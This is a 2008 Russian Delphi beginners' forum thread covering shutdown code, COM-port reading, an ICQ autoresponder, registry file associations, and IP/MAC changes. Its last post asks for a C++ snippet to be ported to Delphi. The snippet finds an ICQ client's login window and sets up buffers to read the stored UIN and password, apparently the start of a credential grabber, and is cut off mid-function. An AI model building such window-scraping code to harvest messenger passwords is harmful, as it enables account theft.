procedure TForm1.Button19Click(Sender: TObject);
begin
MyExitWindows(EWX_REBOOT or EWX_FORCE);
end;
_http://lantricks.ru/lanshutdown/help.php
_http://www.delphisources.ru/pages/faq/base/shutdown_computer_with_any_os.html
_http://netler.ru/pc/shutdown.htm
_http://forum.oszone.net/post-619178.html
Можешь еще (велосипед :D ) автоматизировать на DELPHI:
Создаешь .bat с параметрами - програмно,
запускаешь, и удаляешь:)
cyber$nake
14.04.2008, 07:32
подскажите как мона сделать отправку емайл сообщения желательно с аттачем через http из Delphi? :)
De-visible
14.04.2008, 08:47
Тебе с помощью компонента или на чистом WinApi?
cyber$nake
14.04.2008, 09:05
Тебе с помощью компонента или на чистом WinApi?
хоть как, главное чтобы через http
De-visible
14.04.2008, 09:33
_http://rsdn.ru/article/qna/inet/email.xml ПОЧИТАЙ ТУТ ПОКА
Прослушай запросы сниффером, idHTTP1 тебе в помощь!
cyber$nake
14.04.2008, 10:01
_http://rsdn.ru/article/qna/inet/email.xml ПОЧИТАЙ ТУТ ПОКА
отправка не через почтовый клиент , а на прямую.
Можно не париться и реализовать на indy компонентах, но проблема та в том, что на проксе стоит запрет на отправку мыла (например:smtp.mail.ru) через почтовые клиенты, можно отправить только если зайти через браузер на мыльный сайт и потом только принять и отправить почту.
De-visible
14.04.2008, 10:05
Ну хорошо!
Дай адрес!
cyber$nake
14.04.2008, 10:38
Ну хорошо!
Дай адрес!
какой адрес? может я конечно не совсем понятно обрисовал проблему (сори):
прокси сервак у меня в конторе, через него сижу в инете, проблема не могу отправить и принять почту через почтового клиента, могу только зайти например: _www.mail.ru, и уже зайти на свой ящик ;)
неможеш потомучто 25 порт смтп закрыт, а лазиш в нете ты через хттп прокси которая смтп недержит.
cyber$nake
14.04.2008, 11:48
неможеш потомучто 25 порт смтп закрыт, а лазиш в нете ты через хттп прокси которая смтп недержит.
эта-то понятно!
Интерестный вопрос. имеем инфракрасный пульт и приемник подключаемый к ком порту (схему завтра выложу). вот как сделать простую команду выключения компа с пульта?
Интерестный вопрос. имеем инфракрасный пульт и приемник подключаемый к ком порту (схему завтра выложу). вот как сделать простую команду выключения компа с пульта?
Comport(Visual C++)
- купил себе ИК-порт,пульт ДУ, поставил SlyControl и наслаждался жизнью. Потом появилась идея написать свой SlyControl, об этом как-нибудь статью напишу. А данные исходники показывают как работать с компортом, писались для просмотра сигналов ДУ получаемых ИК-портом.
http://kosfiz.narod.ru/sources/com.rar
o_OBallers
15.04.2008, 07:15
Отправить письмо через http.
Письма отправляют через smtp.
Ты это прекрасно знаешь.
Не будет у тебя стандартный почтовый клиент работать через http прокси.
Как бы ты не исхитрялся.
Comport(Visual C++)
- купил себе ИК-порт,пульт ДУ, поставил SlyControl и наслаждался жизнью. Потом появилась идея написать свой SlyControl, об этом как-нибудь статью напишу. А данные исходники показывают как работать с компортом, писались для просмотра сигналов ДУ получаемых ИК-портом.
http://kosfiz.narod.ru/sources/com.rar
А на делфи не найдется?
А на делфи не найдется?
Разве трудно переписать? Исходник очень понятный + написан на чистом АПИ.
Имеется:
1. Исходники InnoUnp версии 0.19 на Delphi: http://sourceforge.net/project/showfiles.php?group_id=102423
2. Статейка Как распаковать Inno 5.2.3 релизом 0.19:
Некоторые файлы Inno 5.2.3 можно распаковать следующим путем:
- Взять исходники версии 0.19
- Добавить "5203" в файл StructList
- Создать копию файла struct5110.pas и назвать struct5203.pas
- Поменять название юнита struct5203.pas (первая строка: unit Struct5203;)
- В struct5203.pas во всех строках заменить '5.1.10' на '5.2.03'
- Поменять в файле struct5203.pas строку '5.1.0' на '5.2.0'
- запустить prep.bat
- собрать (build) и скомпилировать innounp.dpr в delphi
Требуется:
Проделать все это, скомпилить и, если не трудно, выложить получившийся innounp.exe куда нибудь например на slil.ru.
Сам пытался, но никак не разберусь, чё-то не компилится.
PS: Если кто возьмется, заранее большое спасибо!
Разве трудно переписать? Исходник очень понятный + написан на чистом АПИ.
Помогите переписать кто нибудь.
Помогите переписать кто нибудь.
будет время, помогу и отправлю в пм.
Nightmarе
17.04.2008, 13:45
Как на делфи сделать проверку, если в поле edit ровно 15 или ровно 18 символов, тогда выполнялась команда
???
Hellsp@wn
17.04.2008, 13:52
n:=length(edit1.text)
If (n = 15) or (n = 18) then ...
var
n: integer;
n:=length(edit1.text)
If (n = 15) or (n = 18) then ...
PS. Мало ли ;)
De-visible
17.04.2008, 19:41
if (length(edit1.text)=15) or (length(edit1.text)=18) then .....
Без лишней переменной
==================
desTiny +
if (length(edit1.text)=15) or (length(edit1.text)=18) then .....
Без лишней переменной
Так дольше работает... (Сорри за стремление к оптимайзу :) )
ToniKapuchon
19.04.2008, 01:20
function TClassF1.step:extended;
begin
result:=(b-a)/n;
end;
Какая функция округлить до десятых? (Например: 0,2;1,3) Типа runc().....
presidentua
19.04.2008, 04:49
Какая функция округлить до десятых? (Например: 0,2;1,3) Типа runc().....
на вскидку, умножь на десять, округли, а потом подели на десять. Это медленно работает, но зато быстро програмируется :)
Я только начал изучать Delphi и не могу понять один момент. Допустим, я кидаю на форму кнопку. Создаю для нее обработчик события OnClik. Делфи автоматически создает процедуру. Как при компиляции компилятор узнает, что эта процедура отвечает за событие OnClik? Ведь в коде это "явно" не указывается (точнее, я не нашел).
Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
end;
"Button1Click" - это ведь имя процедуры? Если да, то оно может быть любым.
Ergoproxy
19.04.2008, 16:15
Бутон1 это кнопа а клик это процедура
А почему они не разделены ничем?
TForm1.Button1Click(Sender: TObject);
Вот это означает, что данная кнопка находится на форме1 и принадлежит этой форме,
а чуть выше есть вот такая штука(типы), в которой описываются компоненты и события:
//-----------------------------------------------------
type
Button1: TButton;
//чуть ниже событие нашей кнопки:
procedure Button1Click(Sender: TObject);
//------------------------------------------------------
Это и означает, Button1 это именно наша кнопка и ни какая другая.
Эта процедура(TForm1.Button1Click) называется СОБЫТИЕ на нажатие кнопки Button1.
Если бы было просто:
//------------------------------------------
procedure Name;
begin
//выполняем какие либо действия
end;
//------------------------------------------
то эта процедура не принадлежала бы к данной форме или кнопке, но могла бы относится к любоиу компоненту и процедуре данной программы и изменять их свойства, или выполнять какую либо вспомогательную функцию, вообщем об этом можно долго писать, скачай лучше книгу Фленова Библия Delphi, там все очень хорошо написано и расписано!!!
А почему они не разделены ничем?
что еще не разделено?
Дело в том, что все эти события(процедуры) каждого элемента описаны(как что и к чему относится) в VCL, т.е. если на WinAPI ты должен сам позаботиться о том чтобы создать форму, разместить на ней кнопки(и что эти кнопки должны находится именно в этом месте и эта процедура должна совершаться по нажатию на кнопку), и т.д., то Delphi упрощает все это безобразие, т.е. уже многое зделано до тебя и ты уже не заморачиваешся над тем вопросом как тебе разместить кнопки(не видя их ;)), подобрать размер самой формы, потыкал мышкой туда сюда и все красиво и гланое быстро!!!
Какая функция округлить до десятых? (Например: 0,2;1,3) Типа runc().....
x := round(x * 10) / 10
TForm1.Button1Click(Sender: TObject);
Вот это означает, что данная кнопка находится на форме1 и принадлежит этой форме,
а чуть выше есть вот такая штука(типы), в которой описываются компоненты и события:
//-----------------------------------------------------
type
Button1: TButton;
//чуть ниже событие нашей кнопки:
procedure Button1Click(Sender: TObject);
//------------------------------------------------------
Это и означает, Button1 это именно наша кнопка и ни какая другая.
Эта процедура(TForm1.Button1Click) называется СОБЫТИЕ на нажатие кнопки Button1.
Если бы было просто:
//------------------------------------------
procedure Name;
begin
//выполняем какие либо действия
end;
//------------------------------------------
то эта процедура не принадлежала бы к данной форме или кнопке, но могла бы относится к любоиу компоненту и процедуре данной программы и изменять их свойства, или выполнять какую либо вспомогательную функцию, вообщем об этом можно долго писать, скачай лучше книгу Фленова Библия Delphi, там все очень хорошо написано и расписано!!!
Полнейший БРЕД!!!!!!
Если посмотришь на кнопку, то в ObjectInspector'е есть вкладка ACTIONS, и на этой вкладке есть параметр OnClick. Там и описывается имя кнопочной процедуры. ПО умолчанию - это ButtonXClick, но может быть и любая другая вида "procedure TForm1.blblblbl(Sender: TObject);"
Actions мда и где ж там вкладка такая находится?, может это пункт вкладки Events(События)!!! И вообще человек задал вопрос почему данная процедура относится именно к этой кнопке, а не почему эта процедура так называется или где она описывается и описывается эта процедура не там, там она всеголиш указана как одно из событий данного компонента, а описывается она в другом месте ;)
Так что не БРЕД!!!
Actions мда и где ж там вкладка такая находится?, может это пункт вкладки Events(События)!!!
Ну Events, не суть важно, меня поняли :) ...
И вообще человек задал вопрос почему данная процедура относится именно к этой кнопке, а не почему эта процедура так называется или где она описывается и описывается эта процедура не там, там она всеголиш указана как одно из событий данного компонента, а описывается она в другом месте ;)
Так что не БРЕД!!!
Вот я и ответил, почему она относится к этой кнопке: потому что она прописана в Events! И это прописано вообще в .dfm файле, а название здесь абсолютно не важно. Кнопке MyVeryGoodButton может соответствовать процедура procedure TMyFantasticForm.DisgusteringProcedure(Sender: TObject);
Единственное условие - она должна принадлежать классу TMyFantasticForm. А если ты просто создашь процедуру
TMyFantasticForm.MyVeryGoodButton(Sender: TObject), то просто так она ни к чему ассоциирована не будет.
Единственное условие - она должна принадлежать классу TMyFantasticForm. А если ты просто создашь процедуру
TMyFantasticForm.MyVeryGoodButton(Sender: TObject), то просто так она ни к чему ассоциирована не будет.
Кароч мы говорим об одних и тех же весчах разными словами, я изобразил это в виде кода с пояснением, а ты обошелся одними пояснениями ;) :D .
А вот на счет этого несоглашусь немного:
Кнопке MyVeryGoodButton может соответствовать процедура procedure TMyFantasticForm.DisgusteringProcedure(Sender: TObject);
Это уже будет дпугой объект формы, который может влиять на события этой кнопки и влиять на саму кнопку, как и сама кнопка будет(если в ее событии написать определенный код) влиять на этот объект. ;)
ForNeVeR
19.04.2008, 20:15
desTiny прав, в Events можно сопоставить любому событию процедуру с любым названием. И давайте закроем эту тему, спор бессмысленен и скатывается в оффтоп.
У кого нибудь есть,что нибудь по парсингу url к примеру получили исходник страницы на адресу http://server.com/a/b/c/d/index.htm извлекли из него ссылки и как ссылки преобразовать в серверному виду типо <a href="../../mypage.html">my page</a> к http://server.com/a/b/mypage.html
я просто уже $#&*$!&* ну вы поняли :) все делаешь норм,подстраиваешь - работает,а делаешь ссылку вида /index.html или index.html уже неверно :(
У кого нибудь есть,что нибудь по парсингу url к примеру получили исходник страницы на адресу http://server.com/a/b/c/d/index.htm извлекли из него ссылки и как ссылки преобразовать в серверному виду типо к http://server.com/a/b/mypage.html
<a href="../../mypage.html">my page</a>
я просто уже $#&*$!&* ну вы поняли :) все делаешь норм,подстраиваешь - работает,а делаешь ссылку вида /index.html или index.html уже неверно :(
А что мешает сделать так:
http://server.com/a/b/c/d/index.htm
Извлекаем всё до последнего слеша:
http://server.com/a/b/c/d/
Дописываем из a href'a:
http://server.com/a/b/c/d/../../mypage.html
Оно ДОЛЖНО работать.
Всем большое спасибо! Особенно тебе, desTiny. Dr.KoD, я благодарен также тебе, но кажется, ты ошибаешься. Или я тебя просто не понял.
скачай лучше книгу Фленова Библия Delphi, там все очень хорошо написано и расписано!!!
Я по ней Делфи и изучаю ;)
Пацы, подскажите какой компилятор для делфи лучше
и где его скачать
Ergoproxy
20.04.2008, 14:28
Пацы, подскажите какой компилятор для делфи лучше
и где его скачать
http://www.codegear.com
http://infostore.org/info/1721611
может есть у кого программа для расчета повременной заработной платы в Delphi? если нет, то нет:)
Вот код, который позволяет вводить в едит только циферки(пример взят из делфи ворлд, советую иметь данную базу под рукой):
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
var
vrPos, vrLength, vrSelStart: byte;
const
I: byte = 1;
begin
with Sender as TEdit do
begin
vrLength := Length(Text);
vrPos := Pos(',', Text);
vrSelStart := SelStart; курсора
end;
case Key of
'0'..'9':
begin
if (vrPos > 0) and (vrLength - vrPos > I) and (vrSelStart >= vrPos) then
Key := #0;
end;
',', '.':
begin
if (vrPos > 0) or (vrSelStart = 0) or (vrLength = 0) then
Key := #0
else
Key := #44;
end;
#8: ;
else
Key := #0;
end;
end;
Мля а на 2 вопрос забыл ответить, а зачем тебе такие сложности? кидай Компонент Image указывай в объект инспекторе в свойствj Aling : alCient, загружай картинку в Image и усе будет в шоколаде! ;)
[Dezzter]Для особо страждущих вот реализация в несколько строк ;) :D :
begin
case Key of
'0'..'9',#8:
else
Key := #0;
end;
end;
ToniKapuchon
20.04.2008, 18:02
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,comobj, activex, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
row, col,i,XlRowCol: integer;
destrange: olevariant;
excel,sheet,name1: variant;
name,range:string; //***ня какая то....
begin
excel := createoleobject('excel.application');
excel.visible := true;
name1:=excel.workbooks.add; //создать новую таблицу
for i:=1 to 5 do
begin
//две колонки с исходными данными!!!!
excel.activesheet.range['a'+InttoStr(i), ].value := i+1.4;
excel.activesheet.range['b'+InttoStr(i), ].value := i*i;
end;
name:=excel.Charts.Add.name;
excel.Charts.Item[name].ChartType:=1;
excel.Charts.Item[name].ApplyCustomType(4);
excel.ActiveWorkbook.Charts.Item[name].SetSourceData
(Source:=excel.ActiveWorkbook.Sheets.Item[2].Range['a1:a5','b1:b5'],PlotBy:=2);
end;
end.
Хочу что бы в одной диаграмме в excel рисовалось два графика, но чёт не получается, помогите кто знает, плз!! ---- с этим разобрался!!!
другой вопрос : как на ох нанести мои значение!!!
De-visible
20.04.2008, 18:37
А почему просто не использовать записанный в Excel макросы в DELPHI???
http://www.citforum.ru/programming/delphi/vba/
Но файл photo.bmp нужно класть в папку с архивом, как мне сделать так чтобы не нужно было в папку с архивом класть photo.bmp??? Мне сказали что мне в этом может помочь TImageList, но я понятия не имею как это сделать!
в TImageList можно закинуть сами картинки, это как бы хранилище...
в TImage указываешь тот TImageList в котором и находится твои изображения, потом в ImageIndex (кажется) указываешь индекс изображения...
вот собственно говоря и все
-Hormold-
21.04.2008, 16:55
Нужно сделать парсер, попустим у меня в файле com.txt есть записи:
превед=медвед
ты бот=сам бот...
И мне нужно сделать чтоб он их отпарсил и после:
if Msg=''//До =
then
begin
ICQClient.SendMessage(UIN,'');//После =
end;
Помогите пожалуйста =)
Нужно сделать парсер, попустим у меня в файле com.txt есть записи:
И мне нужно сделать чтоб он их отпарсил и после:
Помогите пожалуйста =)
Вобщем за тебя никто не будет писать ;)
А код будет такой:
procedure Msg;
var f : TextFile; Tmp : string;
begin
AssignFile(f,'data.txt');
Reset(f);
while not eof(f) do
begin
ReadLn(f,Tmp);
if Copy(Tmp,1,Pos('=',Tmp))=Msg then ICQClient.SendMessage(Copy(Tmp,Pos('=',Tmp),Length (Tmp));
end;
CloseFile(f);
end;
-Hormold-
21.04.2008, 17:31
Жалко, неработате...
Может ещё будут варианты? =(
De-visible
21.04.2008, 19:03
Жалко, неработате...
Может ещё будут варианты? =(
Я твоего вопроса не полностью понял....
Жалко, неработате...
Может ещё будут варианты? =(
Что не работает,конкретно какие ошибки,что пишет?
-Hormold-
21.04.2008, 20:47
Бот не отвечает...
На сообщения
De-visible
21.04.2008, 22:59
Вот состряпал функцию поиска:
Function slogan(BR:string):string;
var
tx:TstringList;//Твой файл откуда берутся слова
i,k:integer;
DR:string;
begin
tx:=TstringList.Create;
tx.LoadFromFile('res.txt');//ИМЯ/ПУТЬ файла
For i:=0 to tx.Count-1 Do
Begin
k:=pos(BR,tx[i]);
If k>0 then
Begin
DR:=Copy(tx[i],k+Length(BR)+1,Length(tx[i])-Length(BR)+1);
End;
End;
Result:=DR;
end;
if Msg=''//До =
then
begin
ICQClient.SendMessage(UIN,'');//После =
end;
Как использовать:
Привет=Здарова!
sms:='Привет';//Тебе прислали такое сообщение
if Msg=sms
then
begin
ICQClient.SendMessage(UIN,slogan(sms));
end;
Slogan('Сюда пишешь что у тебя до равно')
Код протестил - рабочий!
Удачи ;)
-Hormold-
22.04.2008, 00:00
А что если у меня в базе несколько значений =)
И вот, если у меня в базe "нет=..." то я пишу "не" и он определяет его как "нет".
Как это исправить?
De-visible
22.04.2008, 00:21
А ты сам немного можешь подумать?
Или хоть кусок кода выложить?
---------------
Вот идея, немного усовершенствуй вышеизложенную функцию и будет тебе счастье:
Можно так я думаю:
(не,нет,не-а)=(.......)
возможно ли програмно подключать/отключать соединение по локальной сети + менять ip програмно... возможно? если да то дайте пжлста исходник.....
Помогите разобрать-
ПРИМЕР ПРОГРАММИРОВАНИЯ COM ПОРТОВ
unit TestRosh;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Panel1: TPanel;
Label1: TLabel;
PortCombo: TComboBox;
Label2: TLabel;
BaudCombo: TComboBox;
Label3: TLabel;
ByteSizeCombo: TComboBox;
Label4: TLabel;
ParityCombo: TComboBox;
Label5: TLabel;
StopBitsCombo: TComboBox;
Label6: TLabel;
Memo1: TMemo;
Edit1: TEdit;
Button1: TButton;
Memo2: TMemo;
Edit2: TEdit;
Label7: TLabel;
Button2: TButton;
Label8: TLabel;
Edit3: TEdit;
procedure Button1Click(Sender: TObject);
procedure Memo2Change(Sender: TObject);
procedure Memo1Change(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure PortComboChange(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Memo1DblClick(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses Registry;
var
hPort: THandle;
procedure TForm1.Memo1Change(Sender: TObject);
var
i: Integer;
begin
Edit1.Text := '';
for i := 1 to Length(Memo1.Text) do
Edit1.Text := Edit1.Text + Format('%x', [Ord(Memo1.Text[i])]) + ' '
end;
procedure TForm1.Memo2Change(Sender: TObject);
var
i: Integer;
begin
Edit2.Text := '';
for i := 1 to Length(Memo2.Text) do
Edit2.Text := Edit2.Text + Format('%x', [Ord(Memo2.Text[i])]) + ' '
end;
procedure TForm1.Button1Click(Sender: TObject);
var
S, D: array[0..127] of Char;
actual_bytes: Integer;
DCB: TDCB;
begin
FillChar(S, 128, #0);
FillChar(D, 128, #0);
DCB.DCBlength := SizeOf(DCB);
if not GetCommState(hPort, DCB) then begin
ShowMessage('Can''t get port state: ' + IntToStr(GetLastError));
Exit;
end;
try
DCB.BaudRate := StrToInt(BaudCombo.Text);
except
BaudCombo.Text := IntToStr(DCB.BaudRate);
end;
try
DCB.ByteSize := StrToInt(ByteSizeCombo.Text);
except
ByteSizeCombo.Text := IntToStr(DCB.ByteSize);
end;
if ParityCombo.ItemIndex > -1 then
DCB.Parity := ParityCombo.ItemIndex
else
ParityCombo.ItemIndex := DCB.Parity;
if StopBitsCombo.ItemIndex > -1 then
DCB.StopBits := StopBitsCombo.ItemIndex
else
StopBitsCombo.ItemIndex := DCB.StopBits;
if not SetCommState(hPort, DCB) then begin
ShowMessage('Can''t set new port settings: ' + IntToStr(GetLastError));
Exit;
end;
PurgeComm(hPort, PURGE_TXABORT or PURGE_RXABORT or PURGE_TXCLEAR or PURGE_RXCLEAR);
StrPCopy(S, Memo1.Text);
if not WriteFile(hPort, S, StrLen(S), actual_bytes, nil) then begin
ShowMessage('Can''t write to port: ' + IntToStr(GetLastError));
Exit;
end;
if not ReadFile(hPort, D, StrToInt(Edit3.Text), actual_bytes, nil) then
ShowMessage('Can''t read from port: ' + IntToStr(GetLastError))
else
ShowMessage('Read ' + IntToStr(actual_bytes) + ' bytes');
Memo2.Text := D;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
with TRegistry.Create do begin
OpenKey('Shkila', True);
WriteString('Port', PortCombo.Text);
WriteString('Baud Rate', BaudCombo.Text);
WriteString('Byte Size', ByteSizeCombo.Text);
WriteString('Parity', IntToStr(ParityCombo.ItemIndex));
WriteString('Stop Bits', IntToStr(StopBitsCombo.ItemIndex));
Destroy;
end;
if not CloseHandle(hPort) then begin
ShowMessage('Can''t close port: ' + IntToStr(GetLastError));
Exit;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
hPort := CreateFile(PChar(PortCombo.Text),
GENERIC_READ + GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hPort = INVALID_HANDLE_VALUE then
ShowMessage('Can''t open ' + PortCombo.Text + ': ' + IntToStr(GetLastError))
else
Button2.Hide;
end;
procedure TForm1.PortComboChange(Sender: TObject);
begin
FormDestroy(Sender);
Button2.Show;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
with TRegistry.Create do begin
OpenKey('Shkila', True);
PortCombo.Text := ReadString('Port');
BaudCombo.Text := ReadString('Baud Rate');
ByteSizeCombo.Text := ReadString('Byte Size');
ParityCombo.ItemIndex := StrToInt(ReadString('Parity'));
StopBitsCombo.ItemIndex := StrToInt(ReadString('Stop Bits'));
Destroy;
end;
end;
procedure TForm1.Memo1DblClick(Sender: TObject);
begin
Memo1.Lines.Clear;
Memo2.Lines.Clear;
Edit1.Text := '';
Edit2.Text := '';
end;
end.
Как это можно скомпилировать?
KindEcstasy
22.04.2008, 09:30
KIR@PRO
SetAdapterIpAddress - функция недокументированна, экспорт из kernel32.dll. Ищи в гугле!
GSM™
Не компилируеться? Как ругается?
Как выполнить команду cmd из под делифи через WinExec();
Немогу спомнить с каким ключом выполнять :(
Спомнил:)
Кому интересно : winexec('cmd /k "ipconfig /all"',1);
ToniKapuchon
22.04.2008, 13:18
как реализовать такого вида справку:
сбоку наряду с кнопкой макс, мин и закрыть будет вопросик!
при нажатии на вопросик и наведение на определённую область программы выскакивает рядом с курсором справочка!!
Дайте где почитать, а то не могу сформулировать вопрос для гугла!!
ToniKapuchon
22.04.2008, 13:36
Как выполнить команду cmd из под делифи через WinExec();
Немогу спомнить с каким ключом выполнять :(
Спомнил:)
Кому интересно : winexec('cmd /k "ipconfig /all"',1);
winexec('cmd.exe /K', SW_SHOW); )))
http://www.itl.rtu.lv/art/new/index.php?go=coding.php
ну вообщем кому нужны 3д движки можно взять по этому адресу
P.S. может кому пригодится
De-visible
22.04.2008, 19:17
возможно ли програмно подключать/отключать соединение по локальной сети + менять ip програмно... возможно? если да то дайте пжлста исходник.....
Вот:
http://forum.codenet.ru/showthread.php?threadid=32464
http://www.delphisources.ru/forum/showthread.php?p=13854
gsm™ а что у тебя не получается в этом коде?, где ошибку выдает?
De-visible
22.04.2008, 19:24
как реализовать такого вида справку:
сбоку наряду с кнопкой макс, мин и закрыть будет вопросик!
при нажатии на вопросик и наведение на определённую область программы выскакивает рядом с курсором справочка!!
Дайте где почитать, а то не могу сформулировать вопрос для гугла!!
Сделай так:
У многих компонентов есть свойство hint, туда вписываешь подсказку,при наведении на объект она вылезает(при showhint:=true)
так вот
Впиши в них подсказку, и при нажатии на "?" свойство ShowHint меняется на true и все(Если я тебя конечно правильно понял:))
De-visible
22.04.2008, 19:40
Помогите разобрать-
Как это можно скомпилировать?
Какая ошибка вылазиет???
Types of actual and formal var parameters must be identical
???
+ Класс для работы с COM-портом:
_http://phorum.key.ru/viewtopic.php?t=8159
De-visible
22.04.2008, 20:01
']Вот такая проблемма, я написал блокнот, кинул на форму батон (Open) и OpenDialog!
Ну и конечно TRichEdit. В OpenDialog сделал фильтр, что бы открывались файлы .cfg, всё работает нормально если жать на Open то файл открывается и в RichEdit показывается текст который был в .cfg, но если сделать "открыть с помощью>>Programms" то открываеся мой блокнот, но в RichEdit нету текста который в .cfg, как мне сделать так чтобы я делал "открыть с помощью>>Programms" и открывался мой блокнот и в RichEdit был текст из .cfg
_http://forum.woweb.ru/topic2233.html
http://forums.realcoding.net/index.php?showtopic=15417
Иногда перегружен:(
De-visible
22.04.2008, 20:21
']почитал сдесь _http://forum.woweb.ru/topic2233.html , но ни чего не понял!
Полегче ни чего нету, я ведь тока несколько дней делфи учу!
а сдесь http://forums.realcoding.net/index.php?showtopic=15417 не смог зарегаться, написано типо сервер не доступен....
Дайте способ полегче чем сдесь http://forum.woweb.ru/topic2233.html
http://forums.realcoding.net/index.php?showtopic=15417 - пока видимо перегружен или тех работы!
Посмотришь http://forums.realcoding.net/index.php?showtopic=15417
Там более понятно расписано:)
===========
Да и на woweb все понятно:)
De-visible
22.04.2008, 20:32
']всё, сайт открылся, увидел там такой код:
function RegisterExt(const AExt, AId, ADescription, AExeFilePath,
AIconGroup : string): boolean;
var
Reg: TRegistry;
begin
Result := true;
Reg := TRegistry.Create;
with Reg do
try
CloseKey;
RootKey := HKEY_CLASSES_ROOT;
try
OpenKey(AExt, true);
WriteString('', AId);
CloseKey;
OpenKey(AId, true);
WriteString('', ADescription);
CloseKey;
if AExeFilePath<>'' then
begin
OpenKey(AId + '\shell\open\command', true);
WriteString('', '"' + AExeFilePath + '" "%1"');
CloseKey;
end;
OpenKey(AId + '\DefaultIcon', true);
WriteString('', AIconGroup);
CloseKey;
except on E: ERegistryException do
Result := false;
end;
finally
Reg.Free;
end;
end;
Вылетает такая ошибка
Можешь мне всё пошагово объяснить, просто я только несколько дней учу делфи, поэтому ещё не освоился!
В uses модуль Registry добавил????? :)
)), ты расширение в коде не поменял ".myext" замени на нужное :)
Да и чет ты сразу в дебри полез, начни с азов!!! :D
De-visible
22.04.2008, 21:01
Ощибки не вылетают, но всё осталось по старому
WriteString('.myext','','MyExt');
А че ты не поменял на свое расширение????
============
Доктор опередил:)
Ты бы лучше и всамом деле почитал, поучился немного, готовые коды брать да вставлять - это неправильно, да и не интересно:(
-Hormold-
22.04.2008, 21:06
Моя проблемма(неполностью) решается так:
AssignFile (F, 'res.txt');
{$I-}
Reset (F);
{$I+}
if IOresult = 0 then
begin
while not SeekEof (F) do
begin
ReadLn (F, S);
UINS := Trim (Copy (S, 1, Pos ('=', S)-1));
PassWord := Trim (Copy (S, Pos ('=', S)+1, Length (S)));
// RandSeed:=IntToStr(random(2));
if Msg=UINS then begin
ICQClient.SendMessage(UIN,PassWord); end;
end;
end;
CloseFile (F);
De-visible
22.04.2008, 21:10
Моя проблемма(неполностью) решается так:
А пример от Zloy, и мой не работали???
Кароч с тебя магара
procedure TForm1.Button1Click(Sender: TObject);
var
R : TRegIniFile;
begin
R := TRegIniFile.Create('');
with R do begin
RootKey := HKEY_CLASSES_ROOT;
WriteString('.cfg','','MyExt');
WriteString('MyExt','','Some description of MyExt files');
WriteString('MyExt\DefaultIcon','',paramstr(0)+',0 ');
WriteString('MyExt\Shell','','This_Is_Our_Default_ Action');
WriteString('MyExt\Shell\First_Action','','Отк ыть');
WriteString('MyExt\Shell\First_Action\command','',
'"'+paramstr(0)+'"'+'"%1"');
Free;
end;
end;
Вот ставиш этот код в свою прогу и наслаждаешся!!!
Ну или вот нашел гдето на просторах сети и добавил этот клочек кода, и получился какразше редактор твоей мечты!!!
http://rapidshare.com/files/109590865/_____________10_.rar.html
Фуууу, копируй это(думаю знаеш куда):
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, XPMan, Menus, StdCtrls, ComCtrls, ExtCtrls,RichEdit, StdActns,
ExtActns, ListActns, ActnList, BandActn, StdStyleActnCtrls, ActnMan,
Buttons, ToolWin, OleServer, IniFiles, Registry;
Или добавь в uses вот это Registry и все должно пахать!!!
Или качай готовый пример!!!
Я те еще раз говорю иди учи азы, ты даж компилировать толком неможеш!!! :D
ыыы, это на рапиде новая система, найди кошек на букавках называется!
Вот качай:_http://slil.ru/25718960
Там сначало по Batto1 кликни, и потом кликаеш правой кнопой мыши по файлу(cfg) и там должен появится пункт "открыть", вот по нему стукаеш и должна запуститься твоя прога!
De-visible
22.04.2008, 23:58
']Насладиться не получилось, потому как ошибочка:
ЖЖЕШЬ!!!!!!!!
ЛОЛ.....
Ссылки которые я те дал, там все работает, что у тя с компом я не знаю:)
)))))
De-visible googl итак 8 страниц просмотрел аж глаза уже болят....))))))))) как сменить ip на delphi я нашел так что обращайтесь в личку кому надо....
De-visible те если надо то пиши в личку мыло пришлю.... там ваще ерунда)))
а вот с подключением/отключением программным различных соединений в сетевом окружении я не нашел :(
да и нашумел еще один вопросик...
но я думаю наврятли кто то знает... вобщем
Как програмно сменить MAC сетевухи?
De-visible
23.04.2008, 08:29
)))))
De-visible googl итак 8 страниц просмотрел аж глаза уже болят....))))))))) как сменить ip на delphi я нашел так что обращайтесь в личку кому надо....
De-visible те если надо то пиши в личку мыло пришлю.... там ваще ерунда)))
а вот с подключением/отключением программным различных соединений в сетевом окружении я не нашел :(
да и нашумел еще один вопросик...
но я думаю наврятли кто то знает... вобщем
Как програмно сменить MAC сетевухи?
http://forum.sources.ru/index.php?showtopic=182348
http://forums.realcoding.net/index.php?showtopic=6424
пока времени нет =, если че попробую помочь вечером
http://www.delphisources.ru/pages/faq/base/inet_connection_params.html
Как програмно сменить MAC сетевухи?
Через реестр =)
я ещё ничего неумею в delphi но хотелбы научиться вот книги у меня есть для обучения но вот я никак немогу найти программу для того чтобы писать на delphi пожалуста выложите куданить или скажите чем вы пользуетесь и что лучше для начнающего программера,спасибо зарание.
Nightmarе
25.04.2008, 01:50
Кто нибудь может этот код из С++ перегнать на делфи???
void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля
// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);
// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
